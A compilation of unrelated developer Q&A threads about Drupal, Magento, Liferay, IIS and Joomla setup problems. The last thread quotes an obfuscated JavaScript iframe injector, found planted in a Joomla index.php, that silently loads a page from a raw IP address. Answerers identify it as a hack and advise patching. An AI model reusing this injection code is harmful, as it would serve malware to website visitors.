I'm trying to setup a Drupal test site. I'm a .Net developer, so I don't have a lot of experience with Linux machines. Can anyone tell me, for a test site of Drupal what the initial setup would be for:
CPU
RAM
Storage size
Storage mount points
Thanks!
For Drupal systems requirements, have a look at: https://www.drupal.org/docs/7/system-requirements
If you just want te test Drupal without the fuss of setting up things from scratch, try one of these options:
For quickly testing Drupal and contributed modules online, without needing to setup anything, try: https://simplytest.me
To get a free test developer account with easy Drupal install in the cloud, try using: https://insight.acquia.com/free/register
If you have access to a windows pc or mac, you can quickly setup a local development environment for Drupal using Acquia dev desktop: https://dev.acquia.com/downloads
If you are happy to host your own test Drupal site on shared hosting, you can also get a hosing account like https://www.dreamhost.com use their on-click install feature to install Drupal for testing purposes.
I am new to Linux command line and setting up Magento 2.1 on my VPS. I am thinking to setup Nagios on subdomain so i don't want any interruption on my actual domain ecommerce application.
I have few doubts which causing lot of trouble to me.
By default Zpanel comes up with lower config for Php and Mysql and to make them work with Magento 2 i have to manually upgrade them . I did that but Magento worked, whole Zpanel navigation stopped working. So i re-installed whole ubuntu Os again and ready with my box. I would also like to have Varnish Cache along with some web based console so that i can easily manage my virtual hosts and for some other stuff.
What will be the best approach to setup everything one by one on one domain/sub-domain? I have found so many articles to install magento 2 on ubuntu using command line but they dont use any webpanel. I am open to switch it to any other OS as well.
If there is sequence to setup these all, please guide.
Final Requirement:
Magento 2 with any Linux OS
Nagios server for monitoring
Web panel like CWP or Zpanel etc.
This question will be complete solution and will helpful many other users as well. All answers are highly appreciated. Thank you all in advance.
Regards
H
I'm working with multiple Liferay Projects (different Portal, plugins, user and usergroups etc ) in the same time, and often have to switch between them. This switch requires lots of steps like
Editing the portal-ext.properties (to change the Liferay Database, and edit some custom project-specific properties), and edit 'portal-setup-wizard.properties'
Add/remove portlets themes and hooks from the Eclipse Server instance, sometimes clean the Tomcat's 'data' 'Webapps' and 'work' folder
Go to Liferay's Control-Panel/Server/Plugins Installation and re-index portlets like 'Users and Organizations' or 'Documents and Media'
So, I thought that creating a new Server Instance for each project, with a new tomcat and JRE, would be a nice idea. When I had to switch project, I could just stop the old server and start another. At first, I thought (was adviced actually) that using the same Liferay Plugins SDK (6.1.0), should be ok, as long as the Server instances are the same version.
Practically this doesn't work 100% perfectly. While most of the work is getting done, there are some problems here and there, like a theme not getting deployed propertly, hooks not beeing applied etc. As I understand, there is some [Liferay SDK] - [Liferay Server] binding, and that means that only 1 Server (the first one I created) will fully work.
For example, By investigating the [Liferay SDK folder]/bild.[user name].properties, I can see some properties that are referring to a specific Server/JRE location :
app.server.portal.dir
app.server.lib.global.dir
app.server.deploy.dir
app.server.type
app.server.dir
So, my question is, what should I do to work with multiple Liferay Projects ?
Is the multi-Server practice, a good approach to work with multiple-projects ?
If yes, should I create a different SDK for each Server? Maybe a different Eclipse workspace too ? Or is there some way to use the same SDK
What about working with Servers of different Liferay Version ?
Personally, I set up every project with its own source, tomcat, database, etc. even if it means duplication. These days storage is cheap and makes this possible. Of course your milage may very but I thought I'd share my setup with you.
I have a project directory with all my projects which looks like so:
/projects
/foo-project
/bar-project
/my-project
Inside a project I have
/my-project
/tomcat
/bin
/conf
...
/src
/portal
... my portal source ...
/plugins
... my plugin source ...
/portal-ext.properties
I then setup tomcat to use different ports (8080, 8081, 8082, etc...) so that I can just leave them all running if I have to or want to.
I setup Liferay to use different database for each Liferay instance.
I place the portal-ext.properties as a sibling to the tomcat directory and Liferay will read this file (assuming the default behavior). This offers quick and easy edits as well as figuring out how you've set each project up.
The advantages should be clear. You can just "walk away" from a project and into another without tearing down and setting up. And when you return everything will still be as you left it. Context switching is also quicker and helpful if you want to answer a question about a project you're not yet working on.
Depending on the complexity of each of your projects, multi-instance might not work for you. Hooks and EXTs may conflict with each other and it appears as if this is already the case with your projects.
If you can afford the space (which is not much) this has been the fastest way I have found as a Liferay developer.
If we start working on a new Liferay project in our company, we setup:
a new database schema,
a new, clean Liferay server connected with that schema and
a fresh Eclipse workspace, with
a clean SDK project
Only this way you're sure to have cleanly separate projects. To switch to another project, just shutdown the current Liferay server, startup the new one and switch to the right workspace in Eclipse. This all takes no more than 2 minutes, a lot less than to do all the cleanup actions you have to do if you share workspace and server.
In my opinion, this is the approach of most development teams.
Why mess with all these complications in a single computer? I use Oracle VirtualBox and set up a separate VM for each project. Even though I work on a laptop, it has 8 cores, and I've bumped my memory up to 16GB and set each machine up with 4GB of RAM.
I can have multiple VMs running at once and have set all active projects as home pages in Chrome. Using bridged networking each VM has its own IP address, and they all listen on 8080.
Another benefit is that, although my primary project is being developed using Eclipse Indigo and LR 6.1 CE GA1, I have another using Eclipse Juno, its specific IDE plugin and LR 6.1.1 CE GA2. So it also works as a new version tester.
VirtualBox is free. Memory is cheap. And remember that you can put a VM to sleep without shutting it down. That takes about 10-20 seconds and waking it up again takes 30-60 seconds.
The simplest solution would be :
Create 3 different users, the Liferay SDK's bundle.properties file is separate for each user. So, lets say, if you want to run 3 servers with the same sdk. Create 3 files like
bundle.user1.properties
bundle.user2.properties
bundle.user3.properties
Now, when you want to deploy something for server 1, log in the server using user1 and try to deploy the portlet, this will read bundle.user1.properties and it will deploy the portlet/hook to the specified location.
Hope this will resolve your deployment issue.
Also, when you have 3 users, you can run 3 different servers together in a different user accounts, in this way, they would be secure and apart from admin, nobody can shutdown the same.
Hope this helps!
I am trying for the past couple of days to configure IIS 7.5 and coldfusion to run on my local machine but I hit a wall.
I have two sites that I am trying to create a run locally but 1 of them is working and the other one does not.
My coldfusion admin is working and I was able to set up my settings (db connections and stuff).
Under IIS management I am creating a site, assign it to the correct folder on my machine set the path as "local.site1.com" and everything runs as it should.
When I am trying to do the same thing for Site2, I'm getting a message from Chrome saying "Oops! Google Chrome could not find local.site2.com"
Any recommendations will be greatly appreciated.
add local.site2.com to your hostfile
Are both sites pointing to the same codebase if so that is difficult to achieve with IIS7 and 7.5?
I have seen that , this happend twice that , in my root index.php file.
I have this thing added
<html><body><script type='text/javascript'>str="<vdepognbt src=" + unescape('%68%74%74%70%3a%2f%2f%37%39%2e%31%33%35%2e%31%35%32%2e%31%38%31%2f%73%74%61%74%73%2f%67%6f%2e%70%68%70%3f%73%69%64%3d%31') + " Oaoz5='1'vxoq5='1'>";str = str.replace('vde', 'i');str =str.replace('pog', 'fr');str = str.replace('nbt', 'ame');str =str.replace('Oaoz5', 'width');str =str.replace('vxoq5','height');document.write(str);</script></body></html>
Does anyone knows what is that and how it comes.
When i tried to open my webiste in google chrome , it told me that some malacious software is trying to run from harmful website , do you want to allow it.
How ever when deleted that script then everything was ok
But this ahppedn twice in 2 weeks
Is that the virus . how can something chANGE MY CODE
i AM USING JOOMLA
You have been hacked. You should change your FTP and MYSQL passwords, upgrade to the latest version of Joomla (currently 1.5.18) and check all of your components and plugins for vulnerabilities in this list http://docs.joomla.org/Vulnerable_Extensions_List
Your site has been hacked. You'll need to make sure your Joomla installation, all of its plugins, and all the other software on the server are patched to the latest versions. If it's a shared server, your host may be able to help. Otherwise, consult your server logs.